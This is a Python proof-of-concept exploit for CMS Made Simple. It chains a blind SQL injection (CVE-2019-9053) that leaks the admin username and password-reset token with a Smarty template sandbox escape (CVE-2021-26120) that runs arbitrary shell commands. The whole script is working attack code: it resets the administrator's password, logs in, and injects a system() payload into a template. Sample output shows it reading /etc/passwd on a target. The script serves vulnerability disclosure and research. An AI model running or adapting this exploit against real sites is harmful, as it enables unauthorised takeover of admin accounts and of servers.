#!/usr/bin/env python3 """ CMS Made Simple Serverside Template Injection Remote Code Execution Vulnerability This is a demonstration of CVE-2021-26120 (Smarty Template Engine Smarty_Internal_Runtime_TplFunction Sandbox Escape PHP Code Injection) Written by: Steven Seeley of Qihoo 360 Vulcan Team Exploit tested against: CMS Made Simple 2.2.9 "Blow Me Down" Download: http://s3.amazonaws.com/cmsms/downloads/14316/cmsms-2.2.9.1-install.zip Bug 1: CVE-2019-9053 - An unauthenticated user can trigger an sql injection and reset the administrators password to bypass authentication - Works on: <= 2.2.9.1 "Blow Me Down" Bug 2: CVE-2021-26120 - A user that is authenticated with designer permissions can trigger a serverside template injection and gain remote code execution by escaping the sandbox of the Smarty Template Engine by leveraging the function 'name' property - Works on: <= 2.2.15 "Bonaventure" (latest) and impacts Smarty <= 3.1.38 (latest) # Notes - *WARNING* The administrator's password will be reset to the administrator's username. Use at your own risk. - This poc resets the password for user_id 1 which is probably the administrator - Whilst leaking hashes is not as bold as reseting the administrator's password, it's not guaranteed to get you in # Example researcher@incite:~/cmsms$ ./poc.py (+) usage: ./poc.py (+) eg: ./poc.py 192.168.75.141 / id (+) eg: ./poc.py 192.168.75.141 /cmsms/ "uname -a" researcher@incite:~/cmsms$ ./poc.py 192.168.75.141 /cmsms/ "id;uname -a;pwd;head /etc/passwd" (+) targeting http://192.168.75.141/cmsms/ (+) sql injection working! (+) leaking the username... (+) username: admin (+) resetting the admin's password stage 1 (+) leaking the pwreset token... (+) pwreset: 35f56698a2c3371eff7f38f34f001503 (+) done, resetting the admin's password stage 2 (+) logging in... (+) leaking simplex template... (+) injecting payload and executing cmd... uid=33(www-data) gid=33(www-data) groups=33(www-data) Linux target 5.8.0-40-generic #45-Ubuntu SMP Fri Jan 15 11:05:36 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux /var/www/html/cmsms root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin # References - Daniele Scanu @ Certimeter Group's poc at https://www.exploit-db.com/exploits/46635 """ import requests import sys import re from time import sleep from lxml import etree def login(s, t, usr): uri = "%sadmin/login.php" % t s.get(uri) d = { "username" : usr, "password" : usr, "loginsubmit" : "Submit" } r = s.post(uri, data=d) match = re.search("style.php\?__c=(.*)\"", r.text) assert match, "(-) login failed" return match.group(1) def trigger_or_patch_ssti(s, csrf, t, tpl): # CVE-2021-26120 d = { "mact": 'DesignManager,m1_,admin_edit_template,0', "__c" : csrf, "m1_tpl" : 10, "m1_submit" : "Submit", "m1_name" : "Simplex", "m1_contents" : tpl } r = s.post("%sadmin/moduleinterface.php" % t, files={}, data=d) if "rce()" in tpl: r = s.get("%sindex.php" % t) assert ("endrce" in r.text), "(-) rce failed!" cmdr = r.text.split("endrce")[0] print(cmdr.strip()) def determine_bool(t, exp): p = { "mact" : "News,m1_,default,0", "m1_idlist": ",1)) and %s-- " % exp } r = requests.get("%smoduleinterface.php" % t, params=p) return True if r.text.count("Posted by:") == 2 else False def trigger_sqli(t, char, sql, c_range): # CVE-2019-9053 for i in c_range: # <> characters are html escaped so we just have = # substr w/ from/for because anymore commas and the string is broken up resulting in an invalid query if determine_bool(t, ",1)) and ascii(substr((%s) from %d for 1))=%d-- " % (sql, char, i)): return chr(i) return -1 def leak_string(t, sql, leak_name, max_length, c_range): sys.stdout.write("(+) %s: " % leak_name) sys.stdout.flush() leak_string = "" for i in range(1,max_length+1): c = trigger_sqli(t, i, sql, c_range) # username is probably < 25 characters if c == -1: break leak_string += c sys.stdout.write(c) sys.stdout.flush() assert len(leak_string) > 0, "(-) sql injection failed for %s!" % leak_name return leak_string def reset_pwd_stage1(t, usr): d = { "forgottenusername" : usr, "forgotpwform" : 1, } r = requests.post("%sadmin/login.php" % t, data=d) assert ("User Not Found" not in r.text), "(-) password reset failed!" def reset_pwd_stage2(t, usr, key): d = { "username" : usr, "password" : usr, # just reset to the username "passwordagain" : usr, # just reset to the username "changepwhash" : key, "forgotpwchangeform": 1, "loginsubmit" : "Submit", } r = requests.post("%sadmin/login.php" % t, data=d) match = re.search("Welcome: (.*)<\/a>", r.text) assert match, "(-) password reset failed!" assert match.group(1) == usr, "(-) password reset failed!" def leak_simplex(s, t, csrf): p = { "mact" : "DesignManager,m1_,admin_edit_template,0", "__c" : csrf, "m1_tpl" : 10 } r = s.get("%sadmin/moduleinterface.php" % t, params=p) page = etree.HTML(r.text) tpl = page.xpath("//textarea//text()") assert tpl is not None, "(-) leaking template failed!" return "".join(tpl) def remove_locks(s, t, csrf): p = { "mact" : "DesignManager,m1_,admin_clearlocks,0", "__c" : csrf, "m1_type" : "template" } s.get("%sadmin/moduleinterface.php" % t, params=p) def main(): if(len(sys.argv) < 4): print("(+) usage: %s " % sys.argv[0]) print("(+) eg: %s 192.168.75.141 / id" % sys.argv[0]) print("(+) eg: %s 192.168.75.141 /cmsms/ \"uname -a\"" % sys.argv[0]) return pth = sys.argv[2] cmd = sys.argv[3] pth = pth + "/" if not pth.endswith("/") else pth pth = "/" + pth if not pth.startswith("/") else pth target = "http://%s%s" % (sys.argv[1], pth) print("(+) targeting %s" % target) if determine_bool(target, "1=1") and not determine_bool(target, "1=2"): print("(+) sql injection working!") print("(+) leaking the username...") username = leak_string( target, "select username from cms_users where user_id=1", "username", 25, # username column is varchar(25) in the db list(range(48,58)) + list(range(65,91)) + list(range(97,123)) # charset: 0-9A-Za-z ) print("\n(+) resetting the %s's password stage 1" % username) reset_pwd_stage1(target, username) print("(+) leaking the pwreset token...") pwreset = leak_string( target, "select value from cms_userprefs where preference=0x70777265736574 and user_id=1", # qoutes will break things "pwreset", 32, # md5 hash is always 32 list(range(48,58)) + list(range(97,103)) # charset: 0-9a-f ) print("\n(+) done, resetting the %s's password stage 2" % username) reset_pwd_stage2(target, username, pwreset) session = requests.Session() print("(+) logging in...") csrf = login(session, target, username) print("(+) leaking simplex template...") remove_locks(session, target, csrf) simplex_tpl = leak_simplex(session, target, csrf) print("(+) injecting payload and executing cmd...\n") rce_tpl = "{function name='rce(){};system(\"%s\");function '}{/function}endrce" % cmd trigger_or_patch_ssti(session, csrf, target, rce_tpl+simplex_tpl) while True: r = session.get("%sindex.php" % target) if "endrce" not in r.text: break trigger_or_patch_ssti(session, csrf, target, simplex_tpl) if __name__ == '__main__': main()